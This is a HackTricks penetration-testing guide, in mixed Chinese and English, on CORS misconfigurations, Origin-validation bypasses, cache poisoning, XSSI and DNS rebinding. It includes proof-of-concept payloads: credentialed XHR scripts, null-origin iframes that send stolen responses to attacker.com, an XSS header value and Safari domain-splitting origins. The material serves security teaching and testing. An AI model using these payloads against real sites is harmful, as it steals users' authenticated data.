CORS - Misconfigurations & Bypass

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks

What is CORS?

Cross-Origin Resource Sharing (CORS) standard 使服务器能够定义谁可以访问它们的资源,以及哪些 HTTP request methods 被允许从外部来源发起。

A same-origin policy 规定,请求资源的server和托管resource的 server 必须共享相同的 protocol(例如 http://)、domain name(例如 internal-web.com)以及port(例如 80)。在此 policy 下,只有来自相同 domain 和 port 的 web pages 才被允许访问这些 resources。

same-origin policy 在 http://normal-website.com/example/example.html 场景中的应用如下:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer 在执行 same-origin policy 时会忽略 port number,因此允许此访问。

Access-Control-Allow-Origin Header

这个 header 可以允许多个 originsnull 值,或者 wildcard *。不过,没有浏览器支持多个 origins,并且 wildcard * 的使用受限制。(wildcard 必须单独使用,且不能与 Access-Control-Allow-Credentials: true 一起使用。)

这个 header 是由 server 发出的,用于响应网站发起的 cross-domain resource request,浏览器会自动添加 Origin header。

Access-Control-Allow-Credentials Header

默认情况下,cross-origin requests 在发起时不会携带 cookies 或 Authorization header 这类 credentials。However,cross-domain server 可以通过设置 Access-Control-Allow-Credentials header 为 true 来允许在发送 credentials 时读取 response。

如果设为 true,浏览器将传输 credentials(cookies、authorization headers 或 TLS client certificates)。

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)
fetch(url, {
credentials: "include",
})
const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

理解 Cross-Domain Communication 中的 Pre-flight Requests

当在特定条件下发起 cross-domain request,例如使用 non-standard HTTP method(除 HEAD、GET、POST 之外的任何方法)、引入新的 headers,或者使用特殊的 Content-Type header value 时,可能需要一个 pre-flight request。这个预先请求使用 OPTIONS method,用于向 server 说明即将到来的 cross-origin request 的意图,包括它计划使用的 HTTP methods 和 headers。

Cross-Origin Resource Sharing (CORS) protocol 要求进行这个 pre-flight 检查,以通过验证允许的 methods、headers 以及 origin 的可信度,来判断所请求的 cross-origin 操作是否可行。关于哪些条件可以避免需要 pre-flight request,请参阅 Mozilla Developer Network (MDN) 提供的完整指南。

需要特别注意的是,没有 pre-flight request 并不意味着 response 不需要携带 authorization headers。如果没有这些 headers,browser 就无法处理来自 cross-origin request 的 response。

请看下面这个 pre-flight request 的示例,它旨在使用 PUT method,并带有一个名为 Special-Request-Header 的自定义 header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

作为响应,服务器可能会返回指示已接受方法、允许的 origin 以及其他 CORS policy 细节的 headers,如下所示:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 这个 header 指定在实际请求期间可以使用哪些 headers。它由 server 设置,用于表示客户端请求中允许的 headers。
  • Access-Control-Expose-Headers: 通过这个 header,server 会通知客户端,除了 simple response headers 之外,哪些 headers 可以作为 response 的一部分被暴露。
  • Access-Control-Max-Age: 这个 header 表示 pre-flight request 的结果可以被缓存多久。server 设置 pre-flight request 返回的信息可被重用的最大时间,单位是秒。
  • Access-Control-Request-Headers: 用于 pre-flight requests,这个 header 由客户端设置,用来通知 server 客户端想在实际请求中使用哪些 HTTP headers。
  • Access-Control-Request-Method: 这个 header 也用于 pre-flight requests,由客户端设置,用来指示实际请求将使用哪个 HTTP method。
  • Origin: 这个 header 会被 browser 自动设置,并指示 cross-origin request 的 origin。server 使用它来评估是否应根据 CORS policy 允许或拒绝传入请求。

注意,通常情况下(取决于 content-type 和设置的 headers),在 GET/POST request 中不会发送 pre-flight request(请求会直接发送),但如果你想访问 response 的 headers/body,它必须包含允许它的 Access-Control-Allow-Origin header。
因此,CORS 不能防御 CSRF(但它可能有帮助)。

Local Network Requests Pre-flight request

现代 browsers 和当前 Private Network Access (PNA) 草案在 preflight 中使用 header Access-Control-Request-Private-Network: true,并在 response 中使用 Access-Control-Allow-Private-Network: true。较早的文章和 PoC 可能仍然提到 Local-Network header 名称,但对于当前测试,你应该预期使用 Private-Network 变体。

一个允许 local network request 的有效 response 也需要包含 Access-Control-Allow-Private-Network: true

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

preflight request 将类似于:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome 的 PNA rollout 在 2024 年期间发生了多次变化。截至 2024 年 10 月 9 日,Chrome 文档指出由于兼容性问题,PNA preflights 已被暂停,而 secure-context 限制仍然存在。因此,请继续同时测试 符合 spec 的 preflight flow 和较旧的 “在实践中可用,因为 enforcement 不完整” 行为。

Warning

注意,linux 的 0.0.0.0 IP 可以用来 bypass 这些要求并访问 localhost,因为该 IP 地址不被视为“local”。

Chrome 还说明 0.0.0.0/8 现在被视为 Private Network Access 的一部分,因此这个技巧取决于 browser/version,需要重新测试,而不要直接假设可用。

如果你使用 本地端点的 public IP 地址(比如路由器的 public IP),也有可能 bypass Local Network requirements。因为在某些情况下,即使访问的是 public IP,如果请求 来自 local network,访问仍会被允许。

Wildcards

注意,即使下面的 configuration 看起来非常 permissive:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

这是浏览器不允许的,因此凭据不会随请求一起发送,按这种方式也就无法获利。

可利用的错误配置

已经观察到,将 Access-Control-Allow-Credentials 设置为 true 是大多数 real attacks 的前提。这个设置允许浏览器发送凭据并读取响应,从而增强攻击效果。没有它,相比自己直接发起请求,让浏览器代发请求的优势就会大大降低,因为利用用户的 cookies 变得不可行。

例外:利用网络位置作为认证

存在一种例外情况:受害者的网络位置本身充当一种认证形式。这允许将受害者的浏览器作为代理,绕过基于 IP 的认证来访问 intranet 应用程序。这种方法在影响上与 DNS rebinding 有相似之处,但更容易利用。

Access-Control-Allow-Origin 中反射 Origin

在现实场景中,Origin 头的值被反射到 Access-Control-Allow-Origin 里,从理论上看并不常见,因为这些头部的组合受到限制。不过,想要为多个 URL 启用 CORS 的开发者,可能会通过复制 Origin 头的值来动态生成 Access-Control-Allow-Origin 头。这种做法会引入漏洞,尤其是在攻击者使用一个名称看起来很合法的域名时,从而欺骗验证逻辑。

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

利用 null Origin

null Origin,通常用于重定向或本地 HTML 文件等场景,具有独特地位。一些应用会将这个 origin 加入白名单,以便于本地开发,但这会无意中允许任何网站通过 sandboxed iframe 伪装成 null origin,从而绕过 CORS 限制。

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

正则表达式绕过技巧

当遇到 domain whitelist 时,务必测试 bypass 机会,例如把攻击者的 domain 追加到一个已加入白名单的 domain 后面,或者利用 subdomain takeover 漏洞。此外,用于 domain 验证的 regular expressions 可能会忽略 domain 命名约定中的细微差异,从而带来更多 bypass 机会。

高级正则表达式绕过

Regex 模式通常主要关注字母数字、点号 (.) 和连字符 (-) 字符,而忽略了其他可能性。例如,一个精心构造、包含会被 browser 和 regex 模式以不同方式解释的字符的 domain name,可以绕过安全检查。Safari、Chrome 和 Firefox 对 subdomain 中下划线字符的处理,说明了这种差异如何被利用来绕过 domain validation 逻辑。

有关此 bypass 检查的更多信息和设置: https://www.corben.io/advanced-cors-techniques/ 以及 https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

来自 subdomain 内的 XSS

开发者通常会实现防御机制,通过对允许请求信息的 domain 进行白名单管理来防止 CORS exploitation。尽管有这些措施,系统的安全并非万无一失。即使在已列入白名单的 domains 中只存在一个存在漏洞的 subdomain,也可能通过其他漏洞(如 XSS(Cross-Site Scripting))为 CORS exploitation 打开大门。

举例来说,假设 domain requester.com 被加入白名单,可以访问来自另一个 domain provider.com 的资源。服务端配置可能大致如下:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

在这种设置中,requester.com 的所有子域都被允许访问。然而,如果某个子域,比如 sub.requester.com,存在 XSS 漏洞并被攻破,攻击者就可以利用这个弱点。例如,拥有 sub.requester.com 访问权的攻击者可以利用该 XSS 漏洞绕过 CORS policy,并恶意访问 provider.com 上的资源。

Special Characters

PortSwigger 的 URL validation bypass cheat sheet 发现,一些 browser 在 domain names 中支持奇怪的字符。

Chrome 和 Firefox 支持下划线 _,这可以绕过用于验证 Origin header 的 regexes:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com
HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari 在接受域名中的特殊字符方面甚至更宽松:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com
HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

PortSwigger 的 cheat sheet 最近更新了更多面向 Safari 的 domain splitting payloads,在目标使用 regex 或自制 URL parser 验证 Origin header 时很值得 fuzzing:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

这些在后端只检查所提供的 origin 是否 可信 hostname 开头包含 可信 hostname 时很有用,而浏览器仍然会把攻击者控制的后缀视为有效的 origin 边界。

另外也要记住,现代的 origin fuzzing 不应只停留在 hostname 后缀上。当前的 PortSwigger cheat sheet 包含以下 payload families:

  • Domain allow-list bypasses: 攻击者控制的 domains,仍然能满足天真的前缀/后缀/子串检查。
  • Fake-relative absolute URLs: 浏览器合法的 absolute URLs,但应用代码可能会把它们解析成相对路径。
  • Loopback/IP normalizations: 当 CORS 逻辑试图通过字符串比较来阻止 localhost127.0.0.1 或 cloud metadata endpoints 时,可用的 IPv4/IPv6 替代表达形式。

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

通过 HTTP header injection 利用 server-side cache poisoning,有可能诱发 stored Cross-Site Scripting (XSS) 漏洞。当应用没有对 Origin header 中的非法字符做清理时,就会出现这种情况,这对 Internet Explorer 和 Edge 用户尤其危险。这些 browsers 会把 (0x0d) 视为合法的 HTTP header 终止符,从而导致 HTTP header injection 漏洞。

考虑以下请求,其中 Origin header 被篡改:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer 和 Edge 将响应解释为:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

虽然直接通过让 web browser 发送一个畸形 header 来利用这个漏洞不可行,但可以使用 Burp Suite 之类的工具手动生成一个精心构造的 request。这个方法可能导致 server-side cache 保存 response,并在之后意外地把它提供给其他人。这个构造的 payload 旨在把页面的 character set 改为 UTF-7,这是一种常与 XSS vulnerabilities 相关的 character encoding,因为它能够把字符编码成在某些上下文中可作为 script 执行的形式。

关于 stored XSS vulnerabilities 的进一步阅读,请见 PortSwigger

Note: HTTP header injection vulnerabilities 的利用,尤其是通过 server-side cache poisoning,强调了验证和清理所有用户提供输入的关键重要性,包括 HTTP headers。始终采用包含 input validation 的稳健 security model,以防止此类漏洞。

Client-Side cache poisoning

来自这项 research

在这个场景中,观察到一个 web page 会在没有正确 encoding 的情况下反射自定义 HTTP header 的内容。具体来说,web page 会回显包含在 X-User-id header 中的内容,这其中可能包含恶意 JavaScript,就像示例中那样:header 包含一个 SVG image tag,设计为在加载时执行 JavaScript code。

Cross-Origin Resource Sharing (CORS) policies 允许发送 custom headers。然而,由于受到 CORS restrictions 的限制,response 无法被 browser 直接渲染,因此这种 injection 的实用性看起来可能有限。关键点出现在考虑 browser 的 cache 行为时。如果没有指定 Vary: Origin header,那么恶意 response 就有可能被 browser 缓存。随后,当直接导航到该 URL 时,这个已缓存的 response 可能会被直接渲染,从而绕过最初 request 时对直接渲染的需求。这个机制通过利用 client-side caching 提高了攻击的可靠性。

为说明这种攻击,下面提供了一个 JavaScript 示例,设计为在 web page 的环境中执行,例如通过 JSFiddle。这个 script 执行一个简单动作:它向指定 URL 发送一个带有 custom header 的 request,其中包含恶意 JavaScript。request 成功完成后,它会尝试导航到目标 URL,如果 response 在没有正确处理 Vary: Origin header 的情况下被缓存,则可能触发注入 script 的执行。

下面是用于执行该攻击的 JavaScript 的摘要说明:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

绕过

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI,也称为 Cross-Site Script Inclusion,是一种利用 script 标签引入资源时 Same Origin Policy (SOP) 不适用这一事实的漏洞。这是因为脚本需要能够从不同域被引入。这个漏洞允许攻击者访问并读取任何通过 script 标签引入的内容。

当涉及动态 JavaScript 或 JSONP (JSON with Padding) 时,这个漏洞尤其重要,特别是在使用像 cookies 这样的 ambient-authority 信息进行认证时。当请求来自不同主机的资源时,cookies 会被包含在内,从而可被攻击者访问。

为了更好地理解和缓解这个漏洞,你可以使用 BurpSuite 插件 https://github.com/kapytein/jsonp。这个插件可以帮助识别并处理 web applications 中潜在的 XSSI 漏洞。

在这里阅读更多关于不同类型 XSSI 以及如何利用它们。

尝试在请求中添加一个 callback parameter。也许页面已经准备好以 JSONP 方式返回数据。在这种情况下,页面会返回 Content-Type: application/javascript 的数据,这将绕过 CORS policy。

简单(无用?)绕过

绕过 Access-Control-Allow-Origin 限制的一种方法,是让 web application 代表你发起请求并返回响应。然而,在这种场景下,最终受害者的凭证不会被发送,因为请求是发往不同的域。

  1. CORS-escape: 这个工具提供了一个 proxy,它会转发你的请求及其 headers,同时伪造 Origin header 以匹配请求的 domain。这实际上绕过了 CORS policy。下面是一个使用 XMLHttpRequest 的示例:
  2. simple-cors-escape: 这个工具提供了另一种 request proxying 方法。它不是原样转发你的请求,而是由 server 使用指定的参数发起自己的请求。

Iframe + Popup 绕过

你可以通过 创建一个 iframe从中打开一个新窗口绕过 CORS checks,例如 e.origin === window.origin。更多信息见下页:

Iframes in XSS, CSP and SOP

通过 TTL 的 DNS Rebinding

通过 TTL 的 DNS rebinding 是一种通过操纵 DNS records 来绕过某些安全措施的技术。工作方式如下:

  1. 攻击者创建一个 web page 并让受害者访问它。
  2. 然后攻击者把自己的 domain 的 DNS (IP) 改为指向受害者的 web page。
  3. 受害者的 browser 会缓存 DNS response,其中可能包含一个 TTL (Time to Live) 值,表示该 DNS record 应被视为有效的时长。
  4. 当 TTL 过期时,受害者的 browser 会发起新的 DNS request,从而允许攻击者在受害者的 page 上执行 JavaScript code。
  5. 通过持续控制受害者的 IP,攻击者可以从受害者那里收集信息,而无需向受害者 server 发送任何 cookies。

需要注意的是,browser 具有缓存机制,即使 TTL 值很低,也可能阻止这种技术被立即滥用。

DNS rebinding 可用于绕过受害者执行的显式 IP checks,或用于用户或 bot 在同一 page 上停留较长时间、从而让 cache 过期的场景。

如果你需要一个快速滥用 DNS rebinding 的方法,可以使用诸如 https://lock.cmpxchg8b.com/rebinder.html 的服务。

要运行你自己的 DNS rebinding server,你可以使用 DNSrebinder (https://github.com/mogwailabs/DNSrebinder) 之类的工具。这需要暴露本地的 53/udp 端口,创建一个指向它的 A record(例如,ns.example.com),并创建一个指向之前创建的 A subdomain 的 NS record(例如,ns.example.com)。之后,ns.example.com subdomain 的任何子域名都会由你的 host 解析。

你也可以访问一个公开运行的 server http://rebind.it/singularity.html 来进一步理解和实验。

通过 DNS Cache Flooding 的 DNS Rebinding

通过 DNS cache flooding 的 DNS rebinding 是另一种用于绕过 browser 缓存机制并强制发起第二次 DNS request 的技术。工作方式如下:

  1. 最初,当受害者发起 DNS request 时,返回的是攻击者的 IP address。
  2. 为了绕过缓存防御,攻击者利用一个 service worker。service worker 会 flood DNS cache,从而有效删除缓存中的攻击者 server name。
  3. 当受害者的 browser 发起第二次 DNS request 时,返回的是 IP address 127.0.0.1,通常表示 localhost。

通过 service worker 对 DNS cache 进行 flood,攻击者可以操控 DNS resolution 过程,并强制受害者的 browser 发起第二次 request,此时解析到攻击者想要的 IP address。

通过 Cache 的 DNS Rebinding

绕过缓存防御的另一种方法,是在 DNS provider 中为同一个 subdomain 使用多个 IP addresses。工作方式如下:

  1. 攻击者在 DNS provider 中为同一个 subdomain 配置两个 A records(或者一个包含两个 IPs 的单个 A record)。
  2. 当 browser 检查这些 records 时,会收到两个 IP addresses。
  3. 如果 browser 决定先使用攻击者的 IP address,攻击者可以提供一个执行 HTTP requests 到同一 domain 的 payload。
  4. 然而,一旦攻击者获得受害者的 IP address,他们就停止响应受害者的 browser。
  5. 受害者的 browser 在发现 domain 无响应后,会继续使用第二个给定的 IP address。
  6. 通过访问第二个 IP address,browser 绕过了 Same Origin Policy (SOP),使攻击者能够滥用这一点并收集和 exfiltrate 信息。

这种技术利用了当一个 domain 提供多个 IP addresses 时 browser 的行为。通过策略性地控制响应并操纵 browser 对 IP address 的选择,攻击者可以利用 SOP 并访问受害者的信息。

Warning

注意,为了访问 localhost,你应该尝试在 Windows 中 rebinding 127.0.0.1,在 linux 中 rebinding 0.0.0.0
像 godaddy 或 cloudflare 这样的 provider 不允许我使用 ip 0.0.0.0,但 AWS route53 允许我创建一个包含 2 个 IPs 的 A record,其中一个是 “0.0.0.0”

更多信息可查看 https://unit42.paloaltonetworks.com/dns-rebinding/

其他常见绕过

  • 如果 internal IPs 不被允许,它们可能 忘了禁止 0.0.0.0(在 Linux 和 Mac 上有效)
  • 如果 internal IPs 不被允许,返回一个指向 localhostCNAME(在 Linux 和 Ma
  • 如果 internal IPs 不被允许 作为 DNS responses,你可以返回指向内部服务的 CNAMEs,例如 www.corporate.internal。

DNS Rebidding Weaponized

你可以在演讲 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference 中找到关于前述绕过技术以及如何使用以下工具的更多信息。

Singularity of Origin 是一个用于执行 DNS rebinding attacks 的工具。它包含了将 attack server DNS name 的 IP address rebinding 到 target machine 的 IP address,以及向 target machine 上易受攻击的软件提供 attack payloads 所需的必要组件。

通过 DNS-over-HTTPS (DoH) 的 DNS Rebinding

DoH 本质上只是把经典的 RFC1035 DNS wire format 封装在 HTTPS 里(通常是一个带 Content-Type: application/dns-message 的 POST)。resolver 仍然会返回相同的 resource records,因此即使 browser 通过 TLS 解析 attacker-controlled hostname,破坏 SOP 的技术仍然有效。

关键观察

  • Chrome (Windows/macOS) 和 Firefox (Linux) 在配置为 Cloudflare、Google 或 OpenDNS DoH resolvers 时都能成功 rebinding。传输加密既不会延迟也不会阻止 first-then-secondmultiple-answersDNS cache flooding 策略的 attack-flow。
  • Public resolvers 仍然能看到每个 query,但它们很少强制执行 browser 必须遵守的 host-to-IP mapping。一旦 authoritative server 返回 rebinding sequence,browser 会在连接到新 IP 时保留原始 origin tuple。

DoH 上的 Singularity 策略与时序

  • First-then-second 仍然是最可靠的选项:第一次 lookup 返回提供 payload 的攻击者 IP,之后的每次 lookup 都返回 internal/localhost IP。使用典型的 browser DNS caches,这会在约 40–60 秒内切换流量,即使 recursive resolver 只能通过 HTTPS 访问也是如此。
  • Multiple answers (fast rebinding) 仍然可以在 <3 秒 内到达 localhost:通过同时返回两个 A records(攻击者 IP + Linux/macOS 上的 0.0.0.0 或 Windows 上的 127.0.0.1),并在 page 加载后不久以程序方式将第一个 IP blackhole(例如,iptables -I OUTPUT -d <attacker_ip> -j DROP)。Firefox 的 DoH 实现可能会发出重复的 DNS queries,因此 Singularity 的修复方法是根据 第一次 query 的时间戳来安排 firewall rule,而不是在每次 query 时刷新计时器。

在 DoH providers 中击败 “rebind protection”

  • 一些 provider(例如 NextDNS)会将 private/loopback answers 替换为 0.0.0.0,但 Linux 和 macOS 会很乐意把该目的地路由到本地服务。因此,刻意将 0.0.0.0 作为第二条 record 返回,仍然可以把 origin 切换到 localhost。
  • 仅过滤直接的 A/AAAA response 是无效的:返回一个指向仅内部可见 hostname 的 CNAME 会让 public DoH resolver 转发该别名,而 Firefox 等 browser 会回退到系统 DNS 解析 internal zone,最终解析到一个 private IP,而它仍会被视为 attacker origin。

browser-specific DoH 行为

  • Firefox DoH 以 fallback mode 运行:任何 DoH failure(包括未解析的 CNAME target)都会触发通过 OS resolver 的明文 lookup,通常这是一个知道 internal namespace 的 enterprise DNS server。正是这种行为使得在 corporate networks 内部 CNAME bypass 可靠。
  • Chrome DoH 只在 OS DNS 指向白名单内支持 DoH 的 recursive resolver(Cloudflare、Google、Quad9 等)时才激活,并且不会提供相同的 fallback chain。只存在于 corporate DNS 中的 internal hostnames 因此无法解析,但朝向 localhost 或任何可路由地址的 rebinding 仍然成功,因为攻击者控制了整个 response set。

测试和监控 DoH flows

  • Firefox:Settings ➜ Network Settings ➜ Enable DNS over HTTPS 并提供 DoH endpoint(Cloudflare 和 NextDNS 已内置)。Chrome/Chromium:启用 chrome://flags/#dns-over-https,并将 OS DNS servers 配置为 Chrome 支持的 resolver 之一(例如 1.1.1.1/1.0.0.1)。
  • 你可以直接查询 public DoH APIs,例如 curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq,以确认 browser 会缓存的确切 records。
  • 在 Burp/ZAP 中拦截 DoH 仍然有效,因为它本质上就是 HTTPS(body 中的二进制 DNS payload)。对于 packet-level inspection,在启动 browser 之前导出 TLS keys(export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt),然后让 Wireshark 使用 dns display filter 解密 DoH sessions,以查看 browser 何时保持使用 DoH 或回退到经典 DNS。

DNS Rebinding 的真实防护

工具

Fuzz 可能存在的 CORS policies 配置错误

References

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)

支持 HackTricks